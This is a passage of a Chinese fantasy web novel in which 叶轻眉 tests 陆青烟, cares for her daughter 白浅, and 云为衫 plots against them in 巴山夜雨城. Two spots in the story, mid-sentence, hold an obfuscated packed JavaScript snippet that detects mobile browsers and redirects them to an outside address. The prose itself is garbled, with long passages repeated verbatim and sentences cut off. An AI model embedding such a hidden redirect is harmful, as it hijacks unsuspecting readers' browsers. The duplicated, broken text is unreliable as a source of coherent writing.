白望春、波涟漪与五大区主分坐两旁,人人面色凝重。刚才的冲突虽然平息,但那股恐怖的力量余波仍在每个人心中回荡。尤其是鹤之舞,她脸色惨白,低着头,不敢看叶轻眉一眼。 “叶前辈。”白望春打破沉默,语气复杂,“您此次归来,是否因为感应到了‘冰魄种子’的异动?彩羽楼如今在城外活动频繁,昨夜那道雷,恐怕便是他们的手笔。” 叶轻眉并未直接回答,而是看向白浅,柔声道:“浅浅,你可知,你体内除了那枚‘冰晶核心’,还被种下了一道‘引魂咒’?” “引魂咒?”白浅一惊。 “是彩羽楼的手段。”叶轻眉眼中闪过一丝厉色,“他们无法直接定位你,便用这种阴毒的咒术,让你在特定条件下散发出只有他们能感应到的气息。昨夜那道雷,便是他们在尝试引动这道咒术,想要确认‘种子’是否觉醒。” “混账!”翔云天忍不住拍案而起,但接触到叶轻眉冰冷的目光后,又悻悻地坐了回去。 “所以,他们才会派紫嫣和梅影入城。”白望春冷冷道,“好狠毒的计策。若不是叶前辈及时赶到,后果不堪设想。” “紫嫣和梅影只是明面上的棋子。”叶轻眉语气淡漠,“彩羽楼真正的杀招,是那些早已潜伏在巴山夜雨城内部的‘影子’。” “影子?”波涟漪眉头紧锁,“你是说,我们内部有奸细?” 叶轻眉的目光缓缓扫过在座的每一位区主,那目光仿佛能穿透人心,让所有人都感到一阵寒意。 “不止是奸细。”她缓缓道,“还有‘魅’。” 与此同时,徵水区,听雨茶楼地下室。 云为衫或者说,彩羽楼“紫魅”尊使,正坐在黑暗中,听着心腹“魑三”的低声汇报。 “尊使,叶轻眉真的回来了。就在昨夜,她一人一剑,镇压了五大区主,击杀了紫嫣和梅影。”魑三的声音带着恐惧,“她现在的实力,恐怕已臻至‘天剑’之境,深不可测。” 云为衫手指轻轻敲击着桌面,面纱下的嘴角勾起一抹冰冷的弧度。 “天剑么”她低声自语,“难怪母亲当年会对她念念不忘。可惜,她回来得太晚了。” “尊使,我们接下来怎么办?”魑三问道,“还要继续执行‘猎杀白浅’的计划吗?叶轻眉守在她身边,我们根本没有机会。” “机会,是人创造出来的。”云为衫眼中闪过一丝诡诈的光芒,“叶轻眉以为她护住了白浅,殊不知,她这一现身,反而打乱了所有人的部署,也给了我们最好的掩护。” 她站起身,走到墙边,墙上挂着一幅巴山夜雨城的布防图。她的手指点在“宫鸣区”与“玉漱宫”的位置,缓缓下移,划过“商风区”、“角鹿区”,最后停在“羽鹤区”的校场上。 “鹤之舞与翔云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“听雨茶楼现在是叶家在管。”唐婉冷笑道,“叶轻扬是商风区主,叶家是她的本家。如果‘魅’真的混了进来,听雨茶楼是最可能的据点之一。只是那里守卫森严,我们很难潜入。” “我去。”陆青烟忽然道,“我的剑,可以斩断一切伪装。而且,我有个办法,或许可以试探出他们。” “什么办法?”白浅和唐婉同时看向她。 陆青烟眼中闪过一丝决然:“叶轻扬不是一直想拉拢我吗?我可以假意投靠她,取得她的信任,打入听雨茶楼。只要我能接触到那里的核心,一定能找到线索。” “太危险了!”白浅立刻反对,“叶轻扬老奸巨猾,万一被她识破,你必死无疑。” 不入虎穴,焉得虎子?”陆青烟看着白浅,眼神坚定,“浅浅,我们是姐妹。你的仇人,就是我的仇人。你的母亲,也是我的长辈。为了对付彩羽楼,这点风险,我值得冒。” 唐婉也沉默了。她知道陆青烟说得对,这是目前最有效的办法。但她也清楚,一旦陆青烟潜入敌营,她们之间的联系就断了,只能靠她自己。“青烟,”唐婉握住陆青烟的手,低声道,“万事小心。如果情况不对,立刻撤退,不要勉强。”“嗯。”陆青烟重重点头。白浅看着她们,心中涌起一股暖流,却也有无尽的担忧。她知道,从这一刻起,她们不再是被动地等待袭击,而是主动地跳入了这个布满荆棘的漩涡。窗外,雨越下越大。巴山夜雨城,这座被雨水浸泡了千百年的巨城,终于迎来了它最黑暗的时刻。谍影重重,杀机四伏。而她们,只能并肩作战,在刀尖上舞蹈。 50. 眉梢雪映夜行人 漱宫偏殿,气氛凝滞得如同暴风雨前的死寂。窗外,巴山夜雨城的雨势又大了些,豆大的雨点砸在琉璃瓦上,发出噼里啪啦的脆响,又顺着飞檐滴落,连成一片朦胧的水帘。殿内地龙烧得正旺,暖意融融,却驱不散那股几乎要凝结成实质的寒意。叶轻眉端坐于上首,银发如瀑,并未刻意梳理,却自然地垂落在月白长裙的肩头,泛着清冷的光泽。她容颜绝世,岁月似乎格外优待她,未在那张脸上留下任何痕迹,只沉淀出一种历经沧桑后的极致平静。但这平静,此刻却比任何暴怒都更具压迫力。她并未刻意释放威压,甚至没有动用半分修为。但那双清冷如万古寒潭的眸子,只是淡淡一扫,便让侍立在下首的陆青烟觉得周身血液都要冻结,连呼吸都变得小心翼翼。“身为雨韵剑宗弟子,受宗门悉心栽培,位列‘雨韵七子’之一,竟在巴山夜雨城核心之地,不分青红皂白,随众出手?”叶轻眉的声音清冷,不带半分火气,如同冰泉击石,在空旷的大殿门外,陆青烟仍恭敬侍立。叶轻眉嘴角几不可查地微扬。她并非不近人情,只是想起故人陆徽那外柔内刚、对剑道与后辈要求极严的性子,自己此举,也算代老友稍加捶打。若陆青烟心性、韧劲不足,不堪造就,早早让浅浅知晓,保持分寸也好白浅调息至午后方醒。刚出静室,便见陆青烟面色微白,端茶具而来,眉眼间满是疲惫与强振的精神。“青烟姐姐,你一直未歇?”白浅连忙接过茶盘。陆青烟摇头,揉按眉心:“一直在聆听前辈点拨。来,用些灵茶。”“叶姑姑她太过严苛了!”白浅不平。“嘘,”陆青烟示意轻声,警惕望了眼院中,“前辈洞察秋毫,慎言。”“可是”“无甚可是。”陆青烟打断,神色无奈却认真,“若我真心不愿,前辈岂会强逼?是我自己觉着或许真是机缘。我姑姑陆徽常言,剑道修行,有时需借外力砥砺心志,破开迷障。前辈与姑姑旧识,此举必有深意。我就不信,以我恒心,不能从前辈点拨中悟得一鳞半爪,不能让她稍觉我可堪雕琢。”她若借口练剑或宗务避开,只怕更惹前辈不喜,将来白浅为难。倒不如沉心承受,或许真能有所得。她为白浅斟茶,白浅忙接过茶壶回斟。“姐姐真想明白了?”白浅问。叶姑姑说有机缘,陆青烟也这么说,可她仍觉不值。“嗯。”陆青烟饮尽杯中茶,似借以定神,“所以浅浅,万莫再为我求情。前辈行事,深意藏于严苛之下。你若开口,或反令她觉得我心志不坚,需借你情面,那便适得其反了。” 白浅轻叹,不再多言。此时,院外传来雨韵剑宗侍从弟子的声音:“陆师姐,唐婉师妹来访,言有要事。” 陆青烟神色一正,恢复沉静气度:“快请。”“是。”二人走向正厅,叶轻眉已端坐主位品茶。见白浅,她展颜柔声问:“调息可好?”白浅点头,目光转向进门的唐婉。“见过叶前辈,陆师姐。”唐婉颔首为礼,看向白浅,“浅浅,随我来。”“婉儿,何事?”“怎么你们俩?”叶轻眉看着眼前两个心思各异的少女,轻轻摇头,语气带着几分了然与淡淡的无奈。“叶前辈。”唐婉心思急转,开口道,“白浅妹妹天赋卓绝,心性纯良,这些时日相处,我也只是与她交流了些修炼心得、江湖见闻,并未敢妄谈指导。我还会在巴山夜雨城盘桓一段日子,若浅妹妹在修行或处事上有什么疑惑,我定当知无不言,绝不会藏私。至于收徒之事晚辈资历尚浅,自身修为尚且不足,更兼身负师门地隐门使命在身,实在不宜另收弟子,还望前辈体谅。”“对对对!”白浅在一旁也连忙点头,她本也是因叶轻眉的随口提议才问起,见唐婉推拒,正合心意,她可不想用师徒名分束缚了与这位聪明果敢的唐婉姐姐之间自然生出的情谊。叶轻眉淡淡地看了白浅一眼,转向唐婉,语气平和却带着不容置疑的穿透力:“既然唐姑娘这么说,此事便作罢。你有你的道,她有她的路。保持本心,互相砥砺,便是善缘。” 叶轻眉何等人物,岂会强求?她提起此事,更多是出于对女儿交游对象的观察与一种下意识的安排。见唐婉应对得体,不卑不亢,且对白浅确有回护之心,心中那点试探之意便已消去。维持现状,或许对两个女孩都好。想到这里,叶轻眉不再多言,转而与唐婉聊起了近日地隐门的动向、地煞大陆各势力的微妙变化,以及彩羽楼可能的手腕。唐婉谨慎应答。玉漱宫偏殿,气氛凝滞得如同暴风雨前的死寂。窗外,巴山夜雨城的雨势又大了些,豆大的雨点砸在琉璃瓦上,发出噼里啪啦的脆响,又顺着飞檐滴落,连成一片朦胧的水帘。殿内地龙烧得正旺,暖意融融,却驱不散那股几乎要凝结成实质的寒意。 叶轻眉端坐于上首,银发如瀑,并未刻意梳理,却自然地垂落在月白长裙的肩头,泛着清冷的光泽。她容颜绝世,岁月似乎格外优待她,未在那张脸上留下任何痕迹,只沉淀出一种历经沧桑后的极致平静。但这平静,此刻却比任何暴怒都更具压迫力。 她并未刻意释放威压,甚至没有动用半分修为。但那双清冷如万古寒潭的眸子,只是淡淡一扫,便让侍立在下首的陆青烟觉得周身血液都要冻结,连呼吸都变得小心翼翼。 “身为雨韵剑宗弟子,受宗门悉心栽培,位列‘雨韵七子’之一,竟在巴山夜雨城核心之地,不分青红皂白,随众出手?” 叶轻眉的声音清冷,不带半分火气,如同冰泉击石,在空旷的大殿内回荡。每一个字都像是一根冰针,精准地刺入陆青烟的心房。 “若人人都似你这般,遇事先动拳脚,而非辨明是非,这天下岂不乱了套?你以为,你是在帮浅浅?你不过是在添乱!”陆青烟脸色一苦,对身旁的白浅偷偷吐了吐舌头,那表情像极了做错了事的小师妹在向师姐求救。她赶紧转身朝正厅走去,嘴上应道:“前辈教训的是,青烟知错。”她走进正厅,在距离叶轻眉三步远的地方停下,垂手而立,姿态恭顺到了极点。“你可知昨夜那雷动,牵一发而动全身?”叶轻眉的声音陡然拔高,带着刺骨的寒意,“你那一剑若真斩下去,伤了鹤之舞,便是将雨韵剑宗与宫鸣区彻底绑在对立面。届时,你让望春姑姑如何处置?你让浅浅身处何地?”陆青烟唯唯诺诺,始终赔着小心,语气恭顺:“是,青烟当时只顾护着浅浅妹妹,未及细想,险些酿成大祸,请前辈责罚。”“护她,便要行此鲁莽之事?”叶轻眉冷笑一声,那笑声里没有半分暖意,“若当时本座与望春当真交手,你这一剑下去,是助她,还是害她?你的剑,是斩向敌人,还是斩向自己人?”“青烟愚钝,请前辈责罚。”陆青烟低着头,双手紧紧攥着衣角,指节都有些发白。她能感觉到那道目光如同实质,落在她的脊背上,让她浑身不自在。白浅站在厅外廊下,听得心中一阵揪痛。她虽不想忤逆这位刚刚相认、且强大到令人心折的“叶姑姑”,但觉得叶姑姑对陆青烟的责难有些过于严苛了。毕竟当时情况混乱,叶轻眉与五大区主动手,剑气纵横,灵力激荡,整个小院都处在毁灭的边缘。陆青烟作为受邀在巴山夜雨城历练的雨韵剑宗弟子,本能地想要护住自己,情有可原。再者,陆青烟也是为了她好,这般严责,未免太不近人情。她忍不住走进厅内,想替陆青烟说几句:“叶姑姑,青烟姐姐也是担心我的安危,一时情急,并非有意冒犯。当时情形危急,她也是为了保护我。”叶轻眉却似早有所料,不等她开口,便对陆青烟摆了摆手,语气稍缓,却依旧透着不容置疑的威严:“罢了。你连日奔波,也耗了心神。去,将东厢那间静室收拾出来。”陆青烟如蒙大赦,紧绷的身体瞬间松弛下来,赶紧点头:“是,前辈。”一旁侍立的、雨韵剑宗随行的两名女弟子闻言,便要转身去办。叶轻眉脸色微沉,瞥了陆青烟一眼。陆青烟心领神会,立刻抢步上前,语气温顺却坚定:“不劳两位师姐,我自己来,你们去忙吧。”两名女弟子愣住,看向自家师妹,又敬畏地瞟向那位气息恐怖的银发前辈。陆青烟已低头退了出去。陆青烟亲自动手,将静室内的蒲团、矮几、香炉、窗棂擦拭整理得纤尘不染。她做得很仔细,连窗棂缝隙里的积灰都用湿布一点点抠出来。收拾停当,她才垂手恭敬道:“叶前辈,静室已收拾妥当,您可要现在过去歇息?”叶轻眉未答,反而牵起白浅的手走了进去。经过陆青烟身边时,白浅看到这位平日里沉静坚韧的师姐,对她露出了一个混合着疲惫、无奈和一丝恳求的浅笑。静室雅致,燃着宁神香,空气中弥漫着淡淡的檀香与雨气混合的味道。白浅不解,叶姑姑为何如此“为难”青烟姐姐?若只因当时随众出手,似乎罚得太重。不料,她刚欲开口,叶轻眉便似看穿她心思,轻笑问道:“浅浅,是想问我为何这般支使青烟丫头?”“嗯。”白浅点头。“心疼了?”叶轻眉目光温和。“青烟姐姐是雨韵剑宗高徒,陆徽长老的侄女,更是我的朋友。即便先前有失察之处?”白浅正色,觉得过分了。“放心,”叶轻眉轻拍她手背,眼中闪过一丝深邃,“我与你陆徽姑姑早年有些交情,知她性情。她对这侄女期许甚高,管教也严。我这般,并非刻意折辱,或许对她剑心锤炼,别有些益处。你陆徽姑姑若知,当能明白我三分用意。”“益处?”白浅更疑惑了。这更像是折腾人,何来益处?“此中关窍,你日后自知。”叶轻眉语气笃定,“我性子虽冷,却不会无缘无故磋磨故人晚辈。权作一番心性磨砺罢。好了,你也乏了,早些调息。”说着,引白浅至蒲团上坐下。自己则坐于矮凳,借窗外柔和的雨光,细细端详白浅侧脸,目光慈和专注。白浅本以为会不自在,但在这安宁氛围与幽香中,身旁之人予她无比信赖之感,不多时竟沉心入定,心神前所未有的放松。她的灵觉本可警觉外来危意,此刻却全无戒备,只因潜意识深信此人绝无害她之心。倾听白浅均匀呼吸,叶轻眉目光柔似春水。她抬手,极轻地拂开白浅额前散发,指尖微颤,唇瓣无声翕动,似在哼唱一首湮没于岁月长河、唯有母亲记得的摇篮曲。那曲调古老而悠远,带着雪域高原的纯净与寒冷,每一个音节都仿佛蕴含着某种天地至理。白浅在睡梦中似乎也有所感应,长长的睫毛轻轻颤动,嘴角微微上扬,露出一个安恬的笑容。良久,叶轻眉才悄无声息地退出。门外,陆青烟仍恭敬侍立。叶轻眉嘴角几不可查地微扬。她并非不近人情,只是想起故人陆徽那外柔内刚、对剑道与后辈要求极严的性子,自己此举,也算代老友稍加捶打。若陆青烟心性、韧劲不足,不堪造就,早早让浅浅知晓,保持分寸也好。见叶轻眉出来,陆青烟恍然,原来前辈要静室是为让白浅休憩。她心中那点委屈散去些许,反生暖意。“前辈,西厢另有净室,您可需歇息?”陆青烟语气更显自然。“不,你随我来院中。”叶轻眉摇头。院中,雨丝绵密,打在芭蕉叶上,发出沙沙的声响。叶轻眉信手便指出这小筑内外阵法与地煞衔接的细微滞涩、剑气残留与雨韵融合的不足、甚至她平日练剑时步伐与呼吸的些微不谐。每指一处,便让陆青烟即刻凝思,给出数种调整设想并辨析优劣。“你方才撤剑时,步法慢了半分,气息与剑意未能同步,导致剑气外泄,惊动了檐下阵法。”“你引动地煞之气时,过于刚猛,未能体会‘雨韵’之‘韵’在于连绵柔韧,而非一味强攻。”“你剑心虽有,却过于执着于‘正’,不知‘奇正相生’之道。昨夜若非本座在场,你那一剑‘惊鸿照影’,便已是死局。”叶轻眉立于雨中花树下,神色淡漠静听,偶一点头,沉默时却威压更重。陆青烟额头渗出细密汗珠,却不敢有丝毫懈怠。她全神贯注地听着,大脑飞速运转,将叶轻眉指出的每一个错误,都深深地刻在脑海里。“前辈,弟子以为,当时若要破局,当用‘云横秦岭’之式,以柔克刚,卸去对方力道,再以‘雨打芭蕉’之式反击,方为上策。”陆青烟思索良久,终于鼓起勇气,提出了自己的想法。叶轻眉看了她一眼,眼中闪过一丝不易察觉的赞许:“想法尚可,但执行有误。‘云横秦岭’重在‘横’,而非‘退’。你方才所想,是退,而非横。退则势竭,横则势存。你再演示一遍。”陆青烟依言演示,一遍又一遍,直到动作流畅,气息与剑意完美融合。“记住这种感觉。”叶轻眉终于不再苛责,语气缓和了些许,“剑道修行,如逆水行舟,不进则退。心性不坚,剑意便散。你姑姑陆徽让你来巴山夜雨城历练,便是要你见见这世间的风浪。今日这点磨砺,算得什么?”陆青烟恭敬应道:“是,前辈教诲,青烟铭记于心。”白浅调息至午后方醒。刚出静室,便见陆青烟面色微白,端茶具而来,眉眼间满是疲惫与强振的精神“青烟姐姐,你一直未歇?”白浅连忙接过茶盘。陆青烟摇头,揉按眉心:“一直在聆听前辈点拨。来,用些灵茶。”“叶姑姑她太过严苛了!”白浅不平。“嘘,”陆青烟示意轻声,警惕望了眼院中,“前辈洞察秋毫,慎言。”“可是”“无甚可是。”陆青烟打断,神色无奈却认真,“若我真心不愿,前辈岂会强逼?是我自己觉着或许真是机缘。我姑姑陆徽常言,剑道修行,有时需借外力砥砺心志,破开迷障。前辈与姑姑旧识,此举必有深意。我就不信,以我恒心,不能从前辈点拨中悟得一鳞半爪,不能让她稍觉我可堪雕琢。”她若借口练剑或宗务避开,只怕更惹前辈不喜,将来白浅为难。倒不如沉心承受,或许真能有所得。她为白浅斟茶,白浅忙接过茶壶回斟。“姐姐真想明白了?”白浅问。叶姑姑说有机缘,陆青烟也这么说,可她仍觉不值。“嗯。”陆青烟饮尽杯中茶,似借以定神,“所以浅浅,万莫再为我求情。前辈行事,深意藏于严苛之下。你若开口,或反令她觉得我心志不坚,需借你情面,那便适得其反了。”白浅轻叹,不再多言。此时,院外传来雨韵剑宗侍从弟子的声音:“陆师姐,唐婉师妹来访,言有要事。”陆青烟神色一正,恢复沉静气度:“快请。”“是。”二人走向正厅,叶轻眉已端坐主位品茶。见白浅,她展颜柔声问:“调息可好?”白浅点头,目光转向进门的唐婉。“见过叶前辈,陆师姐。”唐婉颔首为礼,看向白浅,“浅浅,随我来。”“婉儿,何事?”“怎么你们俩?”叶轻眉看着眼前两个心思各异的少女,轻轻摇头,语气带着几分了然与淡淡的无奈。“叶前辈。”唐婉心思急转,开口道,“白浅妹妹天赋卓绝,心性纯良,这些时日相处,我也只是与她交流了些修炼心得、江湖见闻,并未敢妄谈指导。我还会在巴山夜雨城盘桓一段日子,若浅妹妹在修行或处事上有什么疑惑,我定当知无不言,绝不会藏私。至于收徒之事晚辈资历尚浅,自身修为尚且不足,更兼身负师门地隐门使命在身,实在不宜另收弟子,还望前辈体谅。”“对对对!”白浅在一旁也连忙点头,她本也是因叶轻眉的随口提议才问起,见唐婉推拒,正合心意,她可不想用师徒名分束缚了与这位聪明果敢的唐婉姐姐之间自然生出的情谊。叶轻眉淡淡地看了白浅一眼,转向唐婉,语气平和却带着不容置疑的穿透力:“既然唐姑娘这么说,此事便作罢。你有你的道,她有她的路。保持本心,互相砥砺,便是善缘。” 叶轻眉何等人物,岂会强求?她提起此事,更多是出于对女儿交游对象的观察与一种下意识的安排。见唐婉应对得体,不卑不亢,且对白浅确有回护之心,心中那点试探之意便已消去。维持现状,或许对两个女孩都好。想到这里,叶轻眉不再多言,转而与唐婉聊起了近日地隐门的动向、地煞大陆各势力的微妙变化,以及彩羽楼可能的手腕。唐婉谨慎应答,却也提供了不少有价值的江湖见闻。母女同心趁她们聊天的功夫,白浅寻了个由头,悄悄退了出来。当她来到叶轻眉暂居的静室外时,发现唐婉已离去,只有叶轻眉独自立于窗前,望着外面连绵的雨幕,身影孤高清冷,不知在想些什么。“叶姑姑。”白浅轻声唤道,走了进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594675|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。叶轻眉转过身,看到白浅脸上带着一丝疲惫却明亮的眼神,以及她手中那枚散发着微弱寒意的奇特符纸,冰雪般的眸中掠过一丝讶异,随即化为淡淡的暖意。“浅浅,这是何物?”她自然能感觉到那符纸上附着着女儿独有的、虽然微弱却精纯的冰寒灵韵,以及一种她未曾见过的、简陋却颇有巧思的预警符文结构。白浅走上前,有些不好意思地将那枚“寒息示警符”递上,并简单解释了自己的想法和制作的其他几样小东西。“小侄女修为低微,正面御敌不足,便想着能否在这些细微处做些准备,或许或许能有些用处。叶姑姑您看,此物可行么?有无改进之处?”她将符纸递过去时,指尖微微颤抖,不是因为害怕,而是因为紧张。这是她第一次尝试将体内的冰晶核心之力与外界材料结合,虽然粗糙,却耗费了她不少心神。叶轻眉接过符纸,指尖触及那微凉的气息,感受着其中笨拙却真挚的心意,心头最柔软的地方仿佛被轻轻触动。她没有立刻评价符箓本身,而是深深看了白浅一眼,缓声道:“你有此心,甚好。武道修行,力与智并重,防患于未然,亦是智慧。此符虽粗陋,灵韵却纯,预警之念已具雏形。”她指尖泛起一点微不可查的冰晶光华,轻轻拂过符纸表面,那原本简陋的符文线条仿佛被注入了一丝灵性,变得更加流畅内敛,寒意也凝实了几分。“我将一缕神念印记封于其中,非为增强其能,而是若此符被触发,或遭强力损毁,我能有所感应。至于其他保持这份心意与巧思,随着你修为日深,对力量理解愈发透彻,自能做出更精妙实用的器物。”她将改良后的符箓递还给白浅,目光柔和:“收好。你的同伴,你若觉得必要,亦可为他们准备。但需量力而行,莫要过度损耗心神。”“侄女明白,谢谢叶姑姑!”白浅珍而重之地收起符箓,心中暖意融融,能得到母亲的认可和指点,比什么都让她高兴。窗外,雨声淅沥。静室内,母女二人相对而坐,虽无过多言语,却胜过千言万语。而在巴山夜雨城的暗处,云为衫正借着叶轻眉现身、各方注意力被转移的当口,悄然布下新的杀局。谍影,并未散去,只是在积蓄力量,云为衫的棋局在徵水区,一处不起眼的民居内。云为衫,或者说,彩羽楼“紫魅”尊使,正对着一面水镜,镜中映出的正是玉漱宫外的雨景。她能看到叶轻眉的身影,能看到白浅与陆青烟,也能看到唐婉进出。“叶轻眉你终于还是来了。”云为衫低声自语,声音冰冷而决绝,“你以为你护得住她吗?你以为你回来了,一切就能回到十六年前吗?”她手指轻轻敲击着桌面,发出有节奏的声响。“既然你回来了,那便更好。杀了你,再杀了白浅,这巴山夜雨城,便是我彩羽楼的囊中之物。”她站起身,走到墙边,墙上挂着一幅巴山夜雨城的布防图。她的手指点在“宫鸣区”与“玉漱宫”的位置,缓缓下移,划过“商风区”、“角鹿区”,最后停在“羽鹤区”的校场上。“鹤之舞与翔云天素来不和,叶轻眉当众折辱鹤之舞,她们的矛盾已是不可调和。”云为衫冷笑道,“我们不需要去硬碰硬。我们只需要添一把火。”她取出一枚紫色的羽毛,轻轻一吹,羽毛化作一道紫烟,消散在空气中。“去羽鹤区校场,制造一点‘意外’。让翔云天的人‘发现’一批来自商风区的可疑物资,里面最好藏着几件与彩羽楼有关的信物。记住,要做得像是鹤之舞指使人干的。”“是,尊使。”黑暗中,一个声音恭敬地应道。云为衫看着水镜中那个银发女子的身影,眼中闪过一丝疯狂的恨意。“叶轻眉,你欠我的,我要你加倍偿还!我要让你亲眼看着你的女儿死在你面前,然后再让你死!”雨,还在下。巴山夜雨城,这座被雨水浸泡了千百年的巨城,终于迎来了它最黑暗的时刻。谍影重重,杀机四伏。而她们,只能并肩作战,在刀尖上舞蹈。趁她们聊天的功夫,白浅寻了个由头,悄悄退了出来。当她来到叶轻眉暂居的静室外时,发现唐婉已离去,只有叶轻眉独自立于窗前,望着外面连绵的雨幕,身影孤高清冷,不知在想些什么。“叶姑姑。”白浅轻声唤道,走了进去。叶轻眉转过身,看到白浅脸上带着一丝疲惫却明亮的眼神,以及她手中那枚散发着微弱寒意的奇特符纸,冰雪般的眸中掠过一丝讶异,随即化为淡淡的暖意。“浅浅,这是何物?”她自然能感觉到那符纸上附着着女儿独有的、虽然微弱却精纯的冰寒灵韵,以及一种她未曾见过的、简陋却颇有巧思的预警符文结构。白浅走上前,有些不好意思地将那枚“寒息示警符”递上,并简单解释了自己的想法和制作的其他几样小东西。“小侄女修为低微,正面御敌不足,便想着能否在这些细微处做些准备,或许或许能有些用处。叶姑姑您看,此物可行么?有无改进之处?”她将符纸递过去时,指尖微微颤抖,不是因为害怕,而是因为紧张。这是她第一次尝试将体内的冰晶核心之力与外界材料结合,虽然粗糙,却耗费了她不少心神。叶轻眉接过符纸,指尖触及那微凉的气息,感受着其中笨拙却真挚的心意,心头最柔软的地方仿佛被轻轻触动。她没有立刻评价符箓本身,而是深深看了白浅一眼,缓声道:“你有此心,甚好。武道修行,力与智并重,防患于未然,亦是智慧。此符虽粗陋,灵韵却纯,预警之念已具雏形。”她指尖泛起一点微不可查的冰晶光华,轻轻拂过符纸表面,那原本简陋的符文线条仿佛被注入了一丝灵性,变得更加流畅内敛,寒意也凝实了几分。“我将一缕神念印记封于其中,非为增强其能,而是若此符被触发,或遭强力损毁,我能有所感应。至于其他保持这份心意与巧思,随着你修为日深,对力量理解愈发透彻,自能做出更精妙实用的器物。”她将改良后的符箓递还给白浅,目光柔和:“收好。你的同伴,你若觉得必要,亦可为他们准备。但需量力而行,莫要过度损耗心神。”“侄女明白,谢谢叶姑姑!”白浅珍而重之地收起符箓,心中暖意融融,能得到母亲的认可和指点,比什么都让她高兴。窗外,雨声淅沥。静室内,母女二人相对而坐,虽无过多言语,却胜过千言万语。而在巴山夜雨城的暗处,云为衫正借着叶轻眉现身、各方注意力被转移的当口,悄然布下新的杀局。谍影,并未散去,只是在积蓄力量,等待着下一次雷霆万钧的爆发。云为衫的棋局徵水区,一处不起眼的民居内。云为衫,或者说,彩羽楼“紫魅”尊使,正对着一面水镜,镜中映出的正是玉漱宫外的雨景。她能看到叶轻眉的身影,能看到白浅与陆青烟,也能看到唐婉进出。“叶轻眉你终于还是来了。”云为衫低声自语,声音冰冷而决绝,“你以为你护得住她吗?你以为你回来了,一切就能回到十六年前吗?”她手指轻轻敲击着桌面,发出有节奏的声响。“既然你回来了,那便更好。杀了你,再杀了白浅,这巴山夜雨城,便是我彩羽楼的囊中之物。”她站起身,走到墙边,墙上挂着一幅巴山夜雨城的布防图。她的手指点在“宫鸣区”与“玉漱宫”的位置,缓缓下移,划过“商风区”、“角鹿区”,最后停在“羽鹤区”的校场上。“鹤之舞与翔云天素来不和,叶轻眉当众折辱鹤之舞,她们的矛盾已是不可调和。”云为衫冷笑道,“我们不需要去硬碰硬。我们只需要添一把火。”她取出一枚紫色的羽毛,轻轻一吹,羽毛化作一道紫烟,消散在空气中。“去羽鹤区校场,制造一点‘意外’。让翔云天的人‘发现’一批来自商风区的可疑物资,里面最好藏着几件与彩羽楼有关的信物。记住,要做得像是鹤之舞指使人干的。”“是,尊使。”黑暗中,一个声音恭敬地应道。云为衫看着水镜中那个银发女子的身影,眼中闪过一丝疯狂的恨意。“叶轻眉,你欠我的,我要你加倍偿还!我要让你亲眼看着你的女儿死在你面前,然后再让你死!”雨,还在下。巴山夜雨城,这座被雨水浸泡了千百年的巨城,终于迎来了它最黑暗的时刻。谍影重重,杀机四伏。而她们,只能并肩作战,在刀尖上舞蹈。 51. 巧设连环弈孤城 巴山夜雨城,城主府,听雨阁。 阁内地龙烧得正暖,空气中弥漫着清苦的茶香与淡淡的墨韵。窗外依旧是连绵的雨幕,但阁内却因唐婉摊在紫檀木案几上的那半卷图纸,而掀起了一场无声的风暴。 白望春端坐主位,指尖轻轻敲击着扶手,目光在那线条繁复、结构精妙得超乎想象的机关图稿上流连。她的神色平静,但微微收缩的瞳孔却泄露了她内心的震撼。这不仅仅是几张图纸,这是一种全新的防御理念,若能将其融入巴山夜雨城现有的阵法与地煞灵脉节点,其威力足以让城防提升一个档次。 唐婉却不急着回答城主的问题,她微微一笑,侧过身,看向一直静坐在白望春下首的叶轻眉。 “叶前辈,”唐婉的声音清脆,打破了阁内的寂静,“您看,这‘生意’做得做不得?” 叶轻眉神色清淡,只瞥了她一眼,便收回了目光,语气淡漠:“与城主谈正事,莫要顽笑。” “前辈误会了。”唐婉正了正神色,脸上的嬉笑之色收敛殆尽,取而代之的是一种公事公办的郑重,“我这‘生意’,是跟巴山夜雨城做的。但前辈您若开口,我立刻将全图奉上,分文不取。” 此言一出,在座的几位区主眼神都微有变化。 宫鸣区主鹤之舞眉头紧锁,眼中闪过一丝不悦;商风区主叶轻扬则是精光内敛,仔细打量着唐婉;角鹿区主乐林间依旧温婉,但指尖却在袖中轻轻一颤;羽鹤区主翔云天更是目光锐利如鹰,紧紧盯着那图纸。 叶轻眉眸光微闪,心中已然明了。 刚才她初看图稿时,心中也是震动不已。那图纸上描绘的是一种结构极其精妙、前所未见的组合式触发机关,名为“千机雷音”。它似乎能完美嵌入巴山夜雨城现有的部分警戒与防御节点,利用地煞之气的波动作为动力,一旦触发,便能自动反击与困敌,威力惊人。 虽然只有一半,但已显露出惊人的巧思与实战价值。 此刻唐婉刻意将她与巴山夜雨城分开谈,显然另有深意。她悄然看了一眼旁边的白望春,只见这位城主神色平静,指节在扶手上无声轻叩。叶轻眉心思何等玲珑,瞬间明了:在白望春和几位区。 叶轻眉心中念头飞转,面上却不露分毫,只淡 白望春接过话头,神色严肃地看着唐婉:“唐姑娘,此图事关重大,本座需与几位区主商议。但本座可以明确告知你,只要图纸完整、确实可行,这‘生意’便可做!你且稍候。” 说完,她拿起那半张图纸,对身旁侍立的羽鹤区主翔云天和徵水区主波涟漪道:“翔师妹,波师妹,你们随我来。” 又对叶轻眉及唐婉点头致意,三人迅速转入内阁。 等待期间,商风区主叶轻扬、角鹿区主乐林间、宫鸣区主鹤之舞也陆续被召入。听雨阁内,只剩下唐婉一人静坐品茶,神色从容。 约莫一炷香后,几位区主与白望春重新回到厅中。 